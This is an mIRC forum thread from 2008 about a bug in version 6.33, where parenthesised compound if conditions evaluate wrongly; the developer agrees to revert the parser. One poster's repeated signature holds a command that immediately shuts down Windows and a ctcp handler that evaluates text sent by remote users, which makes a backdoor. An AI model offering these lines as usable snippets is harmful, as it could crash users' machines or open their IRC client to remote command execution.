mIRC Home    About    Download    Register    News    Help

Print Thread
Joined: Feb 2006
Posts: 64
M
Midori Offline OP
Babel fish
OP Offline
Babel fish
M
Joined: Feb 2006
Posts: 64
Few simple cases I tried..

I am a % (halfop) on #help... so most of these should have evaluated as false.. but they seem to give me true.. These were all done in #help itself (obviously) after I'd noticed a script misbehaving when I'd previously had #help exluded from the event.

Code:
0) //if ($me ishop $chan || $me isop $chan) && $chan != #help echo true
-0) For those of you that like ugly unreadable if statements, here's the stupid version which works.

1) //if (($me ishop $chan) || ($me isop $chan)) && ($chan != #help) echo true
-1) Also doesn't return anything, as it should (ie it's false)

Rest return true and shouldn't by basic paren priority rules.
2) //if ((($me ishop $chan) || ($me isop $chan)) && ($chan != #help)) echo true
-2) any proper programmer knows it should be false

3) //if (((((($me ishop $chan) || ($me isop $chan))))) && ($chan != #help)) echo true
-3) same idea as above, was to prove a point

4) //if (($me ishop $chan || $me isop $chan) && ($chan != #help)) echo true
-4) again same thing, just without the extra paren priotiry on individual checks

5) //if (($me ishop $chan || $me isop $chan) && $chan != #help) echo true
-5) Expanding on (4), same deal.


What I had originally was (2) because that's readable proper syntax, now I'm stuck using (1) and it's annoying me greatly. This also means well over 50% of my other scripts (and there's a damn good many of them) will no longer function properly.

Please fire your beta testers, or at least have real programmers test these things in the future smirk I don't see why this should have been missed. It is simple binary logic with priorities.


/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}
Joined: Jan 2006
Posts: 468
Fjord artisan
Offline
Fjord artisan
Joined: Jan 2006
Posts: 468
2) //if ((($me ishop $chan) || ($me isop $chan)) && ($chan != #help)) echo true
-2) any proper programmer knows it should be false

^^ that should return true IF you are op or halfop and the channel is NOT #help O_o whats the deal Sugi?

Joined: Dec 2002
Posts: 2,962
S
Hoopy frood
Offline
Hoopy frood
S
Joined: Dec 2002
Posts: 2,962
Yes there appears to be an issue with certain compound conditions.

Of course as a real programmer I'm sure you're well aware that mIRC's parser doesn't support operator precedence at all and therefore the additional grouping parentheses are redundant in every case shown.


Spelling mistakes, grammatical errors, and stupid comments are intentional.
Joined: Feb 2006
Posts: 64
M
Midori Offline OP
Babel fish
OP Offline
Babel fish
M
Joined: Feb 2006
Posts: 64
symphony::
That's the whole problem, it shouldn't return true if the channel IS #help, when that segment of the if statement is false, so in otherwords..

if $true && $false = true..

so 1+0 = 1

From the truth tables of binary logic:

0+0 = 0
0+1 = 0
1+0 = 0
1+1 = 1

This is not happening anymore.


/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}
Joined: Feb 2006
Posts: 64
M
Midori Offline OP
Babel fish
OP Offline
Babel fish
M
Joined: Feb 2006
Posts: 64
1) Yeh, and there was no problem with the compound conditions before 6.33, hence the error report.
2) I use the extra parenthesis to give my code clarity and readability, rather than the disgusting forms some people use that are:

if con1 || cont || con3 doing stuff

Which can get people lost if you start placing multiple if's on a line, or the doing stuff and condn look similar, etc etc... you get the idea. Either way I see that poor ethics in code a ton because mIRC allows it for some godforsaken reason. I know mIRC isn't something to be used in a real programming project; but it's still usable as a foundation for users to learn how to work with a simple language and mostly well documented coding language. Just would make more sense if it also enforced at least some proper coding practices such as enclosing your entire if conditionals in parens.

3) Mirc actually does give operator priorities correctly, but it seems to lose that once parens are invovled when it didn't used to have this problem. If you test the following two lines, which should be completely different.. they are as such.

if ($true || $false) && $false return $true
if $true || $false && $false return $true

The first will give the OR's priority since they're grouped, and then add in the AND. This allows for a false overall statement and so true is not returned.
The second one will perform the AND first, get a $false out of it resulting in "$true || $false" which is still true and thus means the operator priority is still maintained. As such $true is now returned.

When the entire line is grouped is when the funny things start to happen, and that is what I demonstrated in my first posting.
So to put it in these same terms now that you've seen how it works ungrouped..

if (($true || $false) && $false) return $true

Will happily sit by and return $true, despite the statement being false as the ungrouped version specified correctly. This means that somewhere along the parsing of the additional parens, which actually would not change any of the priorities and simply acts as an encapsulator of the entire if line, the internal paren parsing is gone and no longer applies (as I demonstarted in (3) above with the excessive parens.


Hope that makes it clearer! smile

Last edited by Midori; 19/07/08 04:32 PM.

/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}
Joined: Dec 2002
Posts: 2,962
S
Hoopy frood
Offline
Hoopy frood
S
Joined: Dec 2002
Posts: 2,962
Quote:
3) Mirc actually does give operator priorities correctly

No, it doesn't. That was was my point. mIRC does not have any operator precedence rules, it merely chains from left to right.
Code:
if 1 || 0 && 0 { ... }
will be false in mIRC.


Spelling mistakes, grammatical errors, and stupid comments are intentional.
Joined: Oct 2003
Posts: 214
S
Fjord artisan
Offline
Fjord artisan
S
Joined: Oct 2003
Posts: 214
I can confirm this, i got the same problems with mIRC 6.33 in several Scripts (6.32 works fine)


one step closer to world domination
Joined: Jan 2004
Posts: 2,127
Hoopy frood
Offline
Hoopy frood
Joined: Jan 2004
Posts: 2,127
Putting it another way, in 6.32 neither of these return true:

//if ( ( $true || $false ) && ( $false) ) echo -s returns true
//if ( ( $false || $true ) && ( $false) ) echo -s returns true

however in 6.33 the first one incorrectly returns true

Joined: Dec 2002
Posts: 5,411
Hoopy frood
Offline
Hoopy frood
Joined: Dec 2002
Posts: 5,411
Thanks, I have decided to revert the change to the if/while bracket parsing routine back to the method used in v6.32. I plan to release a priority update for this issue soon.

The current beta-testers are doing a great job - they catch a large number of issues before a release is made. Beta-testers have to deal with a whole range of issues and changes, many of which can be very time-consuming to test. Sometimes subtle changes are made repeatedly to a feature, like this one, which need to be tested again and again. Multiply that across the fifty or so changes that were made in this release and it's not an easy process, and sometimes issues can be missed. That is simply the nature of the testing process I'm afraid.

Joined: Feb 2006
Posts: 64
M
Midori Offline OP
Babel fish
OP Offline
Babel fish
M
Joined: Feb 2006
Posts: 64
All right, thanks a ton Khaled, keep up the good work!!! smile


/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}
Joined: Jul 2008
Posts: 3
O
Self-satisified door
Offline
Self-satisified door
O
Joined: Jul 2008
Posts: 3
Hi folks,
I've been holding off on going to 6.33 because of that bracket parsing problem which totally breaks all of my scripts. I know it's probably futile to ask when the next release is coming but I am anxious to get the latest version and not have it break my scripts. Any estimate on when the fix will come?
Thanks

Joined: Jul 2006
Posts: 4,144
W
Hoopy frood
Offline
Hoopy frood
W
Joined: Jul 2006
Posts: 4,144
Look at the post of Khaled in this thread :
Originally Posted By: Khaled
Thanks, I have decided to revert the change to the if/while bracket parsing routine back to the method used in v6.32. I plan to release a priority update for this issue soon.
But be aware of the date won't change anything


#mircscripting @ irc.swiftirc.net == the best mIRC help channel
Joined: Aug 2006
Posts: 183
T
Vogon poet
Offline
Vogon poet
T
Joined: Aug 2006
Posts: 183
Quote:
No, it doesn't. That was was my point. mIRC does not have any operator precedence rules, it merely chains from left to right.


Assuming the above is true and has always been true...

Is there any chance that using parentises (sp) will be added anytime?

So that something like ($True && $False) || $True will always return true? I'm been using parentises for a long long time and never new that mirc didn't process them like that. Its a wonder my scripts work at all at this point. smile

Last edited by Thrull; 07/08/08 04:15 AM.

Yar
Joined: Oct 2003
Posts: 3,918
A
Hoopy frood
Offline
Hoopy frood
A
Joined: Oct 2003
Posts: 3,918
Given that the latest change completely backfired, I doubt Khaled will be playing with the conditional parser again any time soon.


- argv[0] on EFnet #mIRC
- "Life is a pointer to an integer without a cast"
Joined: Dec 2002
Posts: 2,962
S
Hoopy frood
Offline
Hoopy frood
S
Joined: Dec 2002
Posts: 2,962
What you've posted will always return true as you expected. mIRC respects parentheses for grouping (at least once the 6.33 bug is fixed), my point was merely that it doesn't have operator precedence - eg. in the absence of parentheses mIRC will not give && higher precedence over || as would occur in most other programming languages.


Spelling mistakes, grammatical errors, and stupid comments are intentional.
Joined: Aug 2006
Posts: 183
T
Vogon poet
Offline
Vogon poet
T
Joined: Aug 2006
Posts: 183
Ah, I'm sorry. I misunderstood what was going on.

Thanks.


Yar
Joined: Dec 2002
Posts: 155
S
Vogon poet
Offline
Vogon poet
S
Joined: Dec 2002
Posts: 155
Originally Posted By: Midori
symphony::
That's the whole problem, it shouldn't return true if the channel IS #help, when that segment of the if statement is false, so in otherwords..

if $true && $false = true..

so 1+0 = 1

From the truth tables of binary logic:

0+0 = 0
0+1 = 0
1+0 = 0
1+1 = 1

This is not happening anymore.

This may be a little irrelevant, but just for the record, the "+" sign is used for logical disjunction (OR), not for logical conjunction (AND). For "AND", you should use either "&", "^" (which should really be an inverted "v") or a middle dot:


0^0 = 0
0^1 = 0
1^0 = 0
1^1 = 1

Last edited by Strider; 08/08/08 07:33 AM.

Link Copied to Clipboard